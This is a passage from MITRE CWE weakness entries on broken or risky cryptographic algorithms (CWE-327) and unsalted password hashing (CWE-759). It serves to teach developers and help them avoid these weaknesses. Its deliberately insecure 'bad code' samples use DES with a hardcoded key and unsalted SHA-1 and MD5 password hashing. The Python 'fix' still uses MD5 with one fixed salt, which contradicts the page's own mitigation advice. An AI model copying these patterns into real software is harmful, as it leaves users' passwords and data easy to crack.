Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.

Effectiveness: Defense in Depth

Phase: Architecture and Design

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Phases: Implementation; Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 328 Use of Weak Hash
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 780 Use of RSA Algorithm without OAEP
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1240 Use of a Cryptographic Primitive with a Risky Implementation
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 301 Reflection Attack in an Authentication Protocol
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 208 Observable Timing Discrepancy
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 916 Use of Password Hash With Insufficient Computational Effort
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation With hardware, the Architecture or Design Phase might start with compliant cryptography, but it is replaced with a non-compliant crypto during the later Implementation phase due to implementation constraints (e.g., not enough entropy to make it function properly, or not enough silicon real estate available to implement). Or, in rare cases (especially for long projects that span over years), the Architecture specifications might start with cryptography that was originally compliant at the time the Architectural specs were written, but over the time it became non-compliant due to progress made in attacking the crypto.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Verilog (Undetermined Prevalence)

VHDL (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

These code examples use the Data Encryption Standard (DES).

(bad code)
Example Language:
EVP_des_ecb();
(bad code)
Example Language: Java 
Cipher des=Cipher.getInstance("DES...");
des.initEncrypt(key2);
(bad code)
Example Language: PHP 
function encryptPassword($password){
$iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$key = "This is a password encryption key";
$encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
return $encryptedPassword;
}

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).


Example 2

Suppose a chip manufacturer decides to implement a hashing scheme for verifying integrity property of certain bitstream, and it chooses to implement a SHA1 hardware accelerator for to implement the scheme.

(bad code)
Example Language: Other 
The manufacturer chooses a SHA1 hardware accelerator for to implement the scheme because it already has a working SHA1 Intellectual Property (IP) that the manufacturer had created and used earlier, so this reuse of IP saves design cost.

However, SHA1 was theoretically broken in 2005 and practically broken in 2017 at a cost of $110K. This means an attacker with access to cloud-rented computing power will now be able to provide a malicious bitstream with the same hash value, thereby defeating the purpose for which the hash was used.

This issue could have been avoided with better design.

(good code)
Example Language: Other 
The manufacturer could have chosen a cryptographic solution that is recommended by the wide security community (including standard-setting bodies like NIST) and is not expected to be broken (or even better, weakened) within the reasonable life expectancy of the hardware product. In this case, the architects could have used SHA-2 or SHA-3, even if it meant that such choice would cost extra.

Example 3

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used weak cryptography.


+ Observed Examples
Reference Description
SCADA-based protocol supports a legacy encryption mode that uses Tiny Encryption Algorithm (TEA) in ECB mode, which leaks patterns in messages and cannot protect integrity
Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords.
Product uses "ROT-25" to obfuscate the password in the registry.
product only uses "XOR" to obfuscate sensitive data
product only uses "XOR" and a fixed key to obfuscate sensitive data
Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged.
Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'.
Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes.
Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.
Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash.
+ Detection Methods

Automated Analysis

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

Effectiveness: Moderate

Note: False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis
  • Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Man-in-the-middle attack tool
Cost effective for partial coverage:
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 729 OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 883 CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 958 SFP Secondary Cluster: Broken Cryptography
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1152 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1170 SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Using a broken or risky cryptographic algorithm
OWASP Top Ten 2004 A8 CWE More Specific Insecure Storage
CERT C Secure Coding MSC30-C CWE More Abstract Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding MSC32-C CWE More Abstract Properly seed pseudorandom number generators
The CERT Oracle Secure Coding Standard for Java (2011) MSC02-J Generate strong random numbers
OMG ASCSM ASCSM-CWE-327
ISA/IEC 62443 Part 3-3 Req SR 4.3
ISA/IEC 62443 Part 4-2 Req CR 4.3
+ References
[REF-280] Bruce Schneier. "Applied Cryptography". John Wiley & Sons. 1996. <https://www.schneier.com/books/applied-cryptography>. URL validated: 2023-04-07.
[REF-281] Alfred J. Menezes, Paul C. van Oorschot and Scott A. Vanstone. "Handbook of Applied Cryptography". 1996-10. <https://cacr.uwaterloo.ca/hac/>. URL validated: 2023-04-07.
[REF-282] C Matthew Curtin. "Avoiding bogus encryption products: Snake Oil FAQ". 1998-04-10. <http://www.faqs.org/faqs/cryptography-faq/snake-oil/>.
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-284] Paul F. Roberts. "Microsoft Scraps Old Encryption in New Code". 2005-09-15. <https://www.eweek.com/security/microsoft-scraps-old-encryption-in-new-code/>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 21: Using the Wrong Cryptography." Page 315. McGraw-Hill. 2010.
[REF-287] Johannes Ullrich. "Top 25 Series - Rank 24 - Use of a Broken or Risky Cryptographic Algorithm". SANS Software Security Institute. 2010-03-25. <https://www.sans.org/blog/top-25-series-use-of-a-broken-or-risky-cryptographic-algorithm/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Insufficient or Obsolete Encryption", Page 44. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-327. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. URL validated: 2024-11-17.
[REF-1192] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019-03-22. <https://csrc.nist.gov/publications/detail/fips/140/3/final>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution Date Contributor Organization
2019-12-10 Parbati K. Manna Intel Corporation
Provide a hardware-specific submission whose contents were integrated into this entry, affecting extended description, applicable platforms, demonstrative examples, and mitigations
+ Modifications
Modification Date Modifier Organization
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Background_Details, Common_Consequences, Description, Relationships, Taxonomy_Mappings
2009-01-12 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationships
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-07-27 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2009-10-29 CWE Content Team MITRE
updated Relationships
2009-12-28 CWE Content Team MITRE
updated References
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2010-04-05 CWE Content Team MITRE
updated Applicable_Platforms, Potential_Mitigations, Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples, Description
2011-06-01 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-02-21 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Detection_Factors, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Type
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Detection_Factors, Maintenance_Notes, Relationships
2021-03-15 CWE Content Team MITRE
updated References
2021-10-28 CWE Content Team MITRE
updated Maintenance_Notes, Potential_Mitigations, Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Background_Details, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References, Taxonomy_Mappings, Time_of_Introduction
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Using a Broken or Risky Cryptographic Algorithm

CWE-759: Use of a One-Way Hash without a Salt

Weakness ID: 759
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.
+ Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.
+ Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness: High

Phase: Architecture and Design

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness: Limited

Note: Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Phases: Implementation; Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 916 Use of Password Hash With Insufficient Computational Effort
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Background Details
In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Demonstrative Examples

Example 1

In both of these examples, a user is logged in if their given password matches a stored password:

(bad code)
Example Language:
unsigned char *check_passwd(char *plaintext) {
ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
//Login if hash matches stored hash
if (equal(ctext, secret_password())) {
login_user();
}
}
(bad code)
Example Language: Java 
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
login_user();
}

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).


Example 2

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

(bad code)
Example Language: Python 
def storePassword(userName,Password):
hasher = hashlib.new('md5')
hasher.update(Password)
hashedPassword = hasher.digest()

# UpdateUserLogin returns True on success, False otherwise
return updateUserLogin(userName,hashedPassword)

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

(good code)
Example Language: Python 
def storePassword(userName,Password):
hasher = hashlib.new('md5',b'SaltGoesHere')
hasher.update(Password)
hashedPassword = hasher.digest()

# UpdateUserLogin returns True on success, False otherwise
return updateUserLogin(userName,hashedPassword)

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.


+ Observed Examples
Reference Description
Router does not use a salt with a hash, making it easier to crack passwords.
Router does not use a salt with a hash, making it easier to crack passwords.
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 958 SFP Secondary Cluster: Broken Cryptography
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-291] Johnny Shelley. "bcrypt". <http://bcrypt.sourceforge.net/>.
[REF-292] Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". <http://www.tarsnap.com/scrypt.html>.
[REF-293] B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 5.2 PBKDF2. 2000. <https://www.rfc-editor.org/rfc/rfc2898>. URL validated: 2023-04-07.
[REF-294] Coda Hale. "How To Safely Store A Password". 2010-01-31. <https://codahale.com/how-to-safely-store-a-password/>. URL validated: 2023-04-07.
[REF-295] Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012-06-11. <https://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/>. URL validated: 2023-04-07.
[REF-296] Solar Designer. "Password security: past, present, future". 2012. <https://www.openwall.com/presentations/PHDays2012-Password-Security/>. URL validated: 2023-04-07.
[REF-297] Troy Hunt. "Our password hashing has no clothes". 2012-06-26. <https://www.troyhunt.com/our-password-hashing-has-no-clothes/>. URL validated: 2023-04-07.
[REF-298] Joshbw. "Should we really use bcrypt/scrypt?". 2012-06-08. <https://web.archive.org/web/20120629144851/http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/>. URL validated: 2023-04-07.
